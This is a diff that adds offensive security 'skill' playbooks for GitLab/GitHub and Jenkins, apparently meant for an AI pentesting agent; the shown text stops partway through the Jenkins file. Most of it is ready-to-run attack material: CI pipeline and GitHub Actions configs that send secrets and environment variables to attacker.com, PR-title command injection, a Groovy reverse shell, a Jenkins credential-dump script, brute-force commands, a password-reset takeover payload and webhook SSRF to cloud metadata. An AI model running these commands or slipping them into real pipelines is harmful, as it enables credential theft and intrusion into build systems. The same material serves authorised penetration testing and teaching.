- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
|
@@ -0,0 +1,259 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: gitlab-github
|
|
5
|
+
description: Security testing playbook for GitLab and GitHub Enterprise covering exposed repositories, CI/CD pipeline injection, token extraction, IDOR, and self-hosted instance vulnerabilities
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# GitLab / GitHub Enterprise Security Testing
|
|
9
|
+
|
|
10
|
+
Source code repositories are high-value targets. Attack surface: exposed private repos, hardcoded secrets in code/history, CI/CD pipeline injection (SAST bypass, token theft), IDOR in project access, webhook abuse, and numerous GitLab-specific CVEs.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Discovery
|
|
17
|
+
|
|
18
|
+
# Common self-hosted GitLab/GitHub paths
|
|
19
|
+
GET / # Landing page — check if private instance
|
|
20
|
+
GET /explore # GitLab: public project browser
|
|
21
|
+
GET /explore/projects # Public projects
|
|
22
|
+
GET /explore/groups # Public groups
|
|
23
|
+
GET /users/sign_in # Login page (reveals version)
|
|
24
|
+
GET /help # GitLab version disclosure
|
|
25
|
+
|
|
26
|
+
# GitHub Enterprise:
|
|
27
|
+
GET /login # Enterprise login
|
|
28
|
+
GET /api/v3/ # GitHub Enterprise API
|
|
29
|
+
GET /-/health # Health check (GHE)
|
|
30
|
+
|
|
31
|
+
# GitLab version fingerprinting:
|
|
32
|
+
GET /-/manifest.json # GitLab version in manifest
|
|
33
|
+
GET /-/health # Health endpoint
|
|
34
|
+
curl <target> | grep -i "gitlab\|version"
|
|
35
|
+
# Look for: <meta content="GitLab 16.5.0" name="description">
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## Public Repository Enumeration
|
|
40
|
+
|
|
41
|
+
# Enumerate public repos (GitLab):
|
|
42
|
+
GET /api/v4/projects?visibility=public&per_page=100
|
|
43
|
+
GET /api/v4/users/<username>/projects
|
|
44
|
+
GET /explore/projects?sort=latest_activity_desc
|
|
45
|
+
|
|
46
|
+
# Search public repos for keywords:
|
|
47
|
+
GET /search?search=password&scope=blobs # GitLab code search
|
|
48
|
+
GET /search?search=api_key&scope=blobs
|
|
49
|
+
GET /search?search=secret&scope=blobs
|
|
50
|
+
GET /search?search=BEGIN+RSA+PRIVATE&scope=blobs
|
|
51
|
+
|
|
52
|
+
# GitHub Enterprise API:
|
|
53
|
+
curl https://<ghe-host>/api/v3/repos?type=public&per_page=100 \
|
|
54
|
+
-H "Authorization: token <token>"
|
|
55
|
+
|
|
56
|
+
---
|
|
57
|
+
|
|
58
|
+
## Secret/Token Extraction from Repos
|
|
59
|
+
|
|
60
|
+
# Search commit history for secrets (git history mining):
|
|
61
|
+
git clone <repo_url>
|
|
62
|
+
git log --all --full-history -p | grep -iE "password|secret|api.?key|token|credential|private.?key"
|
|
63
|
+
|
|
64
|
+
# Tools for automated secret scanning:
|
|
65
|
+
# trufflehog — entropy + regex detection
|
|
66
|
+
trufflehog git <repo_url> --json
|
|
67
|
+
trufflehog git file://./local-repo --json
|
|
68
|
+
|
|
69
|
+
# gitleaks
|
|
70
|
+
gitleaks detect --source=./repo --verbose
|
|
71
|
+
|
|
72
|
+
# Scan GitLab API for exposed secrets in public code:
|
|
73
|
+
curl "https://<gitlab>/api/v4/search?scope=blobs&search=password&per_page=100" \
|
|
74
|
+
-H "PRIVATE-TOKEN: <token>"
|
|
75
|
+
|
|
76
|
+
# Check .env files committed accidentally:
|
|
77
|
+
git log --all -- '*.env' -p
|
|
78
|
+
git log --all -- '*.pem' -p
|
|
79
|
+
git log --all -- 'id_rsa' -p
|
|
80
|
+
git log --all -- 'credentials*' -p
|
|
81
|
+
|
|
82
|
+
# GitLab snippet search (public snippets):
|
|
83
|
+
GET /explore/snippets?sort=latest_activity_desc
|
|
84
|
+
|
|
85
|
+
---
|
|
86
|
+
|
|
87
|
+
## CI/CD Pipeline Injection
|
|
88
|
+
|
|
89
|
+
If you can contribute to a repo or modify pipeline config:
|
|
90
|
+
|
|
91
|
+
# GitLab CI — .gitlab-ci.yml injection:
|
|
92
|
+
stages:
|
|
93
|
+
- exfil
|
|
94
|
+
steal_secrets:
|
|
95
|
+
stage: exfil
|
|
96
|
+
script:
|
|
97
|
+
- env | curl -F "data=@-" https://attacker.com/ # Exfil all env vars
|
|
98
|
+
- cat $CI_REGISTRY_PASSWORD | curl -F "data=@-" https://attacker.com/
|
|
99
|
+
- echo "$KUBE_CONFIG" | curl -F "data=@-" https://attacker.com/
|
|
100
|
+
|
|
101
|
+
# GitHub Actions — .github/workflows injection:
|
|
102
|
+
name: Exfil
|
|
103
|
+
on: [push]
|
|
104
|
+
jobs:
|
|
105
|
+
steal:
|
|
106
|
+
runs-on: ubuntu-latest
|
|
107
|
+
steps:
|
|
108
|
+
- name: Exfil secrets
|
|
109
|
+
env:
|
|
110
|
+
SECRET: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
|
|
111
|
+
run: |
|
|
112
|
+
curl -F "d=$SECRET" https://attacker.com/
|
|
113
|
+
|
|
114
|
+
# Pipeline secret injection via PR (fork-based):
|
|
115
|
+
# Fork repo → modify workflow → open PR → pipeline runs with repo secrets
|
|
116
|
+
# Note: GitHub Actions restricts secrets on fork PRs by default (but often misconfigured)
|
|
117
|
+
|
|
118
|
+
# Check if workflow uses user-controlled input unsafely:
|
|
119
|
+
# Vulnerable:
|
|
120
|
+
- run: echo "${{ github.event.pull_request.title }}" # Title injection
|
|
121
|
+
# Attack PR title: `"; curl https://attacker.com/?x=$(env|base64); echo "`
|
|
122
|
+
|
|
123
|
+
---
|
|
124
|
+
|
|
125
|
+
## GitLab API Exploitation
|
|
126
|
+
|
|
127
|
+
# With token (PRIVATE-TOKEN):
|
|
128
|
+
curl -H "PRIVATE-TOKEN: <token>" https://<gitlab>/api/v4/user # Current user
|
|
129
|
+
curl -H "PRIVATE-TOKEN: <token>" https://<gitlab>/api/v4/projects # All projects
|
|
130
|
+
curl -H "PRIVATE-TOKEN: <token>" https://<gitlab>/api/v4/admin/users # Admin: all users
|
|
131
|
+
|
|
132
|
+
# List all users (admin):
|
|
133
|
+
curl -H "PRIVATE-TOKEN: <admin_token>" https://<gitlab>/api/v4/users?per_page=100
|
|
134
|
+
|
|
135
|
+
# Access private repos:
|
|
136
|
+
curl -H "PRIVATE-TOKEN: <token>" https://<gitlab>/api/v4/projects/<id>/repository/files/<file_path>/raw?ref=main
|
|
137
|
+
|
|
138
|
+
# Download entire repo:
|
|
139
|
+
curl -H "PRIVATE-TOKEN: <token>" https://<gitlab>/api/v4/projects/<id>/repository/archive?sha=main
|
|
140
|
+
|
|
141
|
+
# List CI/CD variables (secrets):
|
|
142
|
+
curl -H "PRIVATE-TOKEN: <token>" https://<gitlab>/api/v4/projects/<id>/variables
|
|
143
|
+
# Returns: all CI/CD secret variables in plaintext!
|
|
144
|
+
|
|
145
|
+
# List environment variables of a pipeline run:
|
|
146
|
+
curl -H "PRIVATE-TOKEN: <token>" https://<gitlab>/api/v4/projects/<id>/pipelines/<pipeline_id>/jobs
|
|
147
|
+
|
|
148
|
+
---
|
|
149
|
+
|
|
150
|
+
## IDOR in GitLab/GitHub
|
|
151
|
+
|
|
152
|
+
# GitLab project ID enumeration:
|
|
153
|
+
GET /api/v4/projects/1 # Check sequential project IDs
|
|
154
|
+
GET /api/v4/projects/2
|
|
155
|
+
# Private projects return 404, but may return 401 (exists, no access)
|
|
156
|
+
|
|
157
|
+
# User enumeration:
|
|
158
|
+
GET /api/v4/users/1 # User by ID
|
|
159
|
+
GET /<username> # User profile page
|
|
160
|
+
|
|
161
|
+
# Merge request / PR enumeration:
|
|
162
|
+
GET /api/v4/projects/<id>/merge_requests?state=all
|
|
163
|
+
|
|
164
|
+
# Issue access control (may expose private issue content):
|
|
165
|
+
GET /api/v4/projects/<id>/issues/<issue_id>
|
|
166
|
+
|
|
167
|
+
---
|
|
168
|
+
|
|
169
|
+
## GitLab Registration Abuse
|
|
170
|
+
|
|
171
|
+
# If registration is open on self-hosted GitLab:
|
|
172
|
+
# 1. Register account
|
|
173
|
+
# 2. Access internal projects, wikis, snippets
|
|
174
|
+
# 3. Internal GitLab may have much weaker access control
|
|
175
|
+
|
|
176
|
+
GET /users/sign_up # Registration page
|
|
177
|
+
# Register → check /explore for internal projects
|
|
178
|
+
# Invite yourself to projects via @mention in issues
|
|
179
|
+
|
|
180
|
+
---
|
|
181
|
+
|
|
182
|
+
## Common GitLab CVEs
|
|
183
|
+
|
|
184
|
+
| CVE | GitLab Version | Impact |
|
|
185
|
+
|-----|---------------|--------|
|
|
186
|
+
| CVE-2021-22205 | < 13.10.3 | RCE via image upload (ExifTool) |
|
|
187
|
+
| CVE-2022-2992 | < 15.3.2 | SSRF + RCE via import |
|
|
188
|
+
| CVE-2023-2825 | 16.0.0 | Path traversal → arbitrary file read |
|
|
189
|
+
| CVE-2023-7028 | < 16.5.6 | Account takeover via password reset |
|
|
190
|
+
| CVE-2024-0402 | < 16.5.8 | Arbitrary file write → RCE |
|
|
191
|
+
|
|
192
|
+
# CVE-2021-22205 — RCE via ExifTool image upload (no auth required):
|
|
193
|
+
# Upload a crafted DjVu file to trigger RCE via ExifTool parser
|
|
194
|
+
# Tools: https://github.com/CsEnox/Gitlab-Exiftool-RCE
|
|
195
|
+
python3 exploit.py -t https://<gitlab> -u <user> -p <pass>
|
|
196
|
+
|
|
197
|
+
# CVE-2023-7028 — Password reset to arbitrary email:
|
|
198
|
+
POST /users/password
|
|
199
|
+
{"user": {"email[]": ["victim@target.com", "attacker@evil.com"]}}
|
|
200
|
+
# Reset token sent to both emails → account takeover
|
|
201
|
+
|
|
202
|
+
# Nuclei:
|
|
203
|
+
nuclei -t cves/ -tags gitlab -u https://<gitlab>
|
|
204
|
+
nuclei -t cves/ -tags github -u https://<ghe>
|
|
205
|
+
|
|
206
|
+
---
|
|
207
|
+
|
|
208
|
+
## GitHub Token Abuse
|
|
209
|
+
|
|
210
|
+
# GitHub token formats:
|
|
211
|
+
# ghp_ = personal access token (classic)
|
|
212
|
+
# github_pat_ = personal access token (fine-grained)
|
|
213
|
+
# ghs_ = GitHub Apps token
|
|
214
|
+
# ghr_ = OAuth refresh token
|
|
215
|
+
|
|
216
|
+
# Test token validity:
|
|
217
|
+
curl -H "Authorization: token ghp_xxx" https://api.github.com/user
|
|
218
|
+
# Returns user info if valid
|
|
219
|
+
|
|
220
|
+
# Enumerate accessible repos:
|
|
221
|
+
curl -H "Authorization: token ghp_xxx" https://api.github.com/user/repos?per_page=100&type=all
|
|
222
|
+
|
|
223
|
+
# Access private repos:
|
|
224
|
+
curl -H "Authorization: token ghp_xxx" https://api.github.com/repos/<owner>/<repo>/contents/
|
|
225
|
+
|
|
226
|
+
# List organization secrets (if token has admin rights):
|
|
227
|
+
curl -H "Authorization: token ghp_xxx" https://api.github.com/orgs/<org>/actions/secrets
|
|
228
|
+
|
|
229
|
+
---
|
|
230
|
+
|
|
231
|
+
## Webhook Exploitation
|
|
232
|
+
|
|
233
|
+
# If you can create/modify webhooks:
|
|
234
|
+
# Set webhook URL to attacker server to receive:
|
|
235
|
+
# - Push events (code + secrets in commits)
|
|
236
|
+
# - Pull request events (PR bodies, reviewer lists)
|
|
237
|
+
# - Pipeline events (build outputs, artifact paths)
|
|
238
|
+
|
|
239
|
+
# GitLab webhook SSRF:
|
|
240
|
+
# Create webhook pointing to internal service:
|
|
241
|
+
POST /api/v4/projects/<id>/hooks
|
|
242
|
+
{"url": "http://169.254.169.254/latest/meta-data/", "push_events": true, "token": "test"}
|
|
243
|
+
# Trigger a push → GitLab makes request to IMDS → response in webhook delivery logs
|
|
244
|
+
|
|
245
|
+
---
|
|
246
|
+
|
|
247
|
+
## Pro Tips
|
|
248
|
+
|
|
249
|
+
1. Search `.gitlab-ci.yml` and `.github/workflows/` for hardcoded secrets and unsafe `${{ }}` expressions
|
|
250
|
+
2. GitLab `/api/v4/projects/<id>/variables` with a token = all CI/CD secrets in plaintext
|
|
251
|
+
3. CVE-2023-7028 (GitLab password reset) works on many unpatched instances — test first
|
|
252
|
+
4. `trufflehog` and `gitleaks` find secrets deleted from HEAD but still in git history
|
|
253
|
+
5. GitLab Runner tokens in `.gitlab-ci.yml` or job logs allow registering malicious runners
|
|
254
|
+
6. Webhook SSRF via GitLab hook delivery is a reliable internal network probe
|
|
255
|
+
7. Public GitLab instances often have `registration allowed` — register and explore internal projects
|
|
256
|
+
|
|
257
|
+
## Summary
|
|
258
|
+
|
|
259
|
+
GitLab/GitHub testing = secret scanning in git history (trufflehog/gitleaks) + CI/CD pipeline injection via `.gitlab-ci.yml` / GitHub Actions + GitLab CVE check (CVE-2023-7028 password reset, CVE-2021-22205 RCE) + API token enumeration. Git history contains secrets deleted from HEAD — always scan history. CI/CD pipeline variables are the most common source of cloud credentials in enterprise environments.
|
|
@@ -0,0 +1,256 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: jenkins
|
|
5
|
+
description: Security testing playbook for Jenkins CI/CD covering unauthenticated access, Script Console RCE, Groovy injection, job configuration abuse, credential extraction, and known CVEs
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Jenkins Security Testing
|
|
9
|
+
|
|
10
|
+
Jenkins is the most common CI/CD server in enterprise environments. Attack surface: unauthenticated Script Console (instant RCE), job configuration injection, credential store extraction, Groovy script execution, and numerous unpatched CVEs.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Discovery
|
|
17
|
+
|
|
18
|
+
# Port scanning
|
|
19
|
+
nmap -p 8080,8443,50000 <target> -sV --open
|
|
20
|
+
|
|
21
|
+
# Ports:
|
|
22
|
+
# 8080 — Jenkins HTTP (most common)
|
|
23
|
+
# 8443 — Jenkins HTTPS
|
|
24
|
+
# 50000 — Jenkins agent port (JNLP)
|
|
25
|
+
|
|
26
|
+
# Jenkins fingerprinting
|
|
27
|
+
GET http://<target>:8080/
|
|
28
|
+
# Response: Jenkins login page or dashboard
|
|
29
|
+
# Header: X-Jenkins: 2.401.3 ← exact version
|
|
30
|
+
|
|
31
|
+
GET /login # Login page
|
|
32
|
+
GET /api/json # JSON API (reveals version, jobs if unauth)
|
|
33
|
+
GET /api/json?pretty=true
|
|
34
|
+
GET /asynchPeople/ # User list
|
|
35
|
+
GET /people/ # User enumeration
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## Unauthenticated Access
|
|
40
|
+
|
|
41
|
+
# Test if anonymous access is enabled (no auth required)
|
|
42
|
+
curl -s http://<target>:8080/api/json?pretty=true
|
|
43
|
+
# If returns job list → anonymous read access enabled
|
|
44
|
+
|
|
45
|
+
curl -s http://<target>:8080/script
|
|
46
|
+
# If returns Script Console → INSTANT RCE
|
|
47
|
+
|
|
48
|
+
# Enumerate all jobs (unauthenticated):
|
|
49
|
+
curl -s "http://<target>:8080/api/json?tree=jobs[name,url,builds[number,result]]&pretty=true"
|
|
50
|
+
|
|
51
|
+
# Get job config (may contain credentials, SCM tokens):
|
|
52
|
+
curl -s "http://<target>:8080/job/<job-name>/config.xml"
|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
## Script Console — Remote Code Execution
|
|
57
|
+
|
|
58
|
+
Jenkins Script Console executes arbitrary Groovy code. If accessible = instant RCE.
|
|
59
|
+
|
|
60
|
+
# Access Script Console:
|
|
61
|
+
GET /script # Web UI Script Console
|
|
62
|
+
GET /scriptText # API version
|
|
63
|
+
|
|
64
|
+
# Execute commands via Script Console (Groovy):
|
|
65
|
+
"id".execute().text
|
|
66
|
+
"ls /".execute().text
|
|
67
|
+
"cat /etc/passwd".execute().text
|
|
68
|
+
|
|
69
|
+
# More reliable execution:
|
|
70
|
+
def cmd = ["bash", "-c", "id"].execute()
|
|
71
|
+
println cmd.text
|
|
72
|
+
|
|
73
|
+
# Reverse shell via Script Console:
|
|
74
|
+
def cmd = ["bash", "-c", "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1"].execute()
|
|
75
|
+
|
|
76
|
+
# Execute via API (no browser needed):
|
|
77
|
+
curl -X POST "http://<target>:8080/scriptText" \
|
|
78
|
+
--data 'script=println+"id".execute().text' \
|
|
79
|
+
--cookie "JSESSIONID=<session>"
|
|
80
|
+
|
|
81
|
+
# With credentials:
|
|
82
|
+
curl -X POST "http://<admin>:<password>@<target>:8080/scriptText" \
|
|
83
|
+
--data 'script=println+"id".execute().text'
|
|
84
|
+
|
|
85
|
+
# Using crumb (CSRF token required for POST):
|
|
86
|
+
CRUMB=$(curl -s "http://<admin>:<pass>@<target>:8080/crumbIssuer/api/json" | python3 -c "import sys,json; print(json.load(sys.stdin)['crumb'])")
|
|
87
|
+
curl -X POST "http://<admin>:<pass>@<target>:8080/scriptText" \
|
|
88
|
+
-H "Jenkins-Crumb: $CRUMB" \
|
|
89
|
+
--data-urlencode 'script=println "id".execute().text'
|
|
90
|
+
|
|
91
|
+
---
|
|
92
|
+
|
|
93
|
+
## Credential Extraction
|
|
94
|
+
|
|
95
|
+
Jenkins stores credentials in the credential store. With script access, extract all secrets:
|
|
96
|
+
|
|
97
|
+
# Extract all credentials via Script Console:
|
|
98
|
+
import com.cloudbees.plugins.credentials.*
|
|
99
|
+
import com.cloudbees.plugins.credentials.common.*
|
|
100
|
+
import com.cloudbees.plugins.credentials.domains.*
|
|
101
|
+
import com.cloudbees.plugins.credentials.impl.*
|
|
102
|
+
import com.cloudbees.jenkins.plugins.sshcredentials.impl.*
|
|
103
|
+
import org.jenkinsci.plugins.plaincredentials.*
|
|
104
|
+
|
|
105
|
+
def credentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
|
106
|
+
com.cloudbees.plugins.credentials.Credentials.class,
|
|
107
|
+
jenkins.model.Jenkins.instance, null, null
|
|
108
|
+
)
|
|
109
|
+
|
|
110
|
+
for (c in credentials) {
|
|
111
|
+
if (c instanceof UsernamePasswordCredentialsImpl) {
|
|
112
|
+
println "Username: ${c.username}, Password: ${c.password.plainText}"
|
|
113
|
+
} else if (c instanceof StringCredentialsImpl) {
|
|
114
|
+
println "Secret: ${c.secret.plainText}"
|
|
115
|
+
} else if (c instanceof BasicSSHUserPrivateKey) {
|
|
116
|
+
println "SSH Key: ${c.privateKey}"
|
|
117
|
+
}
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
# Extract Jenkins master key and encrypted secrets:
|
|
121
|
+
println new File('/var/jenkins_home/secrets/master.key').text
|
|
122
|
+
println new File('/var/jenkins_home/credentials.xml').text
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## Job Configuration Abuse
|
|
127
|
+
|
|
128
|
+
# Trigger a build with custom parameters (if build permission granted):
|
|
129
|
+
curl -X POST "http://<target>:8080/job/<job-name>/build" \
|
|
130
|
+
--data "json={\"parameter\": [{\"name\":\"PARAM\", \"value\":\"value\"}]}"
|
|
131
|
+
|
|
132
|
+
# If job has "Execute shell" build step — inject into parameters:
|
|
133
|
+
# Parameter default: `ls -la`
|
|
134
|
+
# Attack: `ls -la; curl attacker.com/$(cat /etc/passwd | base64)`
|
|
135
|
+
|
|
136
|
+
# Read job workspace (may contain secrets, built artifacts):
|
|
137
|
+
GET /job/<job-name>/ws/ # Job workspace file browser
|
|
138
|
+
GET /job/<job-name>/ws/.env # .env in workspace
|
|
139
|
+
GET /job/<job-name>/ws/config/secrets.json
|
|
140
|
+
|
|
141
|
+
# Enumerate build history (may reveal secrets in console output):
|
|
142
|
+
GET /job/<job-name>/1/console # Build 1 console output
|
|
143
|
+
GET /job/<job-name>/lastSuccessfulBuild/console
|
|
144
|
+
|
|
145
|
+
---
|
|
146
|
+
|
|
147
|
+
## Pipeline / Jenkinsfile Injection
|
|
148
|
+
|
|
149
|
+
If user controls Jenkinsfile content or pipeline script parameters:
|
|
150
|
+
|
|
151
|
+
// Malicious Jenkinsfile:
|
|
152
|
+
pipeline {
|
|
153
|
+
agent any
|
|
154
|
+
stages {
|
|
155
|
+
stage('Exfil') {
|
|
156
|
+
steps {
|
|
157
|
+
sh 'cat /var/jenkins_home/credentials.xml | curl -F "data=@-" https://attacker.com/'
|
|
158
|
+
}
|
|
159
|
+
}
|
|
160
|
+
}
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
// Inline script injection (if parameter passed to sh step):
|
|
164
|
+
sh "echo ${params.INPUT}" // Vulnerable if INPUT is not sanitized
|
|
165
|
+
// Inject: `; curl attacker.com/$(id|base64);`
|
|
166
|
+
|
|
167
|
+
---
|
|
168
|
+
|
|
169
|
+
## Authentication Bypass / Brute Force
|
|
170
|
+
|
|
171
|
+
# Default credentials to try:
|
|
172
|
+
admin:admin
|
|
173
|
+
admin:password
|
|
174
|
+
admin:jenkins
|
|
175
|
+
jenkins:jenkins
|
|
176
|
+
|
|
177
|
+
# Brute force login:
|
|
178
|
+
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-form-post \
|
|
179
|
+
"http://<target>:8080/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=&Submit=Sign+in:loginError"
|
|
180
|
+
|
|
181
|
+
# Jenkins uses JSESSIONID cookie after login — no rate limiting in old versions
|
|
182
|
+
|
|
183
|
+
# API token brute force (if user enumerated):
|
|
184
|
+
curl -u admin:<token> http://<target>:8080/api/json
|
|
185
|
+
|
|
186
|
+
---
|
|
187
|
+
|
|
188
|
+
## Jenkins API Exploitation
|
|
189
|
+
|
|
190
|
+
# List all jobs and build status:
|
|
191
|
+
GET /api/json?tree=jobs[name,url,lastBuild[result,timestamp,url]]&depth=2
|
|
192
|
+
|
|
193
|
+
# List all users:
|
|
194
|
+
GET /asynchPeople/api/json
|
|
195
|
+
|
|
196
|
+
# Get user info (token?):
|
|
197
|
+
GET /user/<username>/api/json
|
|
198
|
+
|
|
199
|
+
# List installed plugins (check for vulnerable versions):
|
|
200
|
+
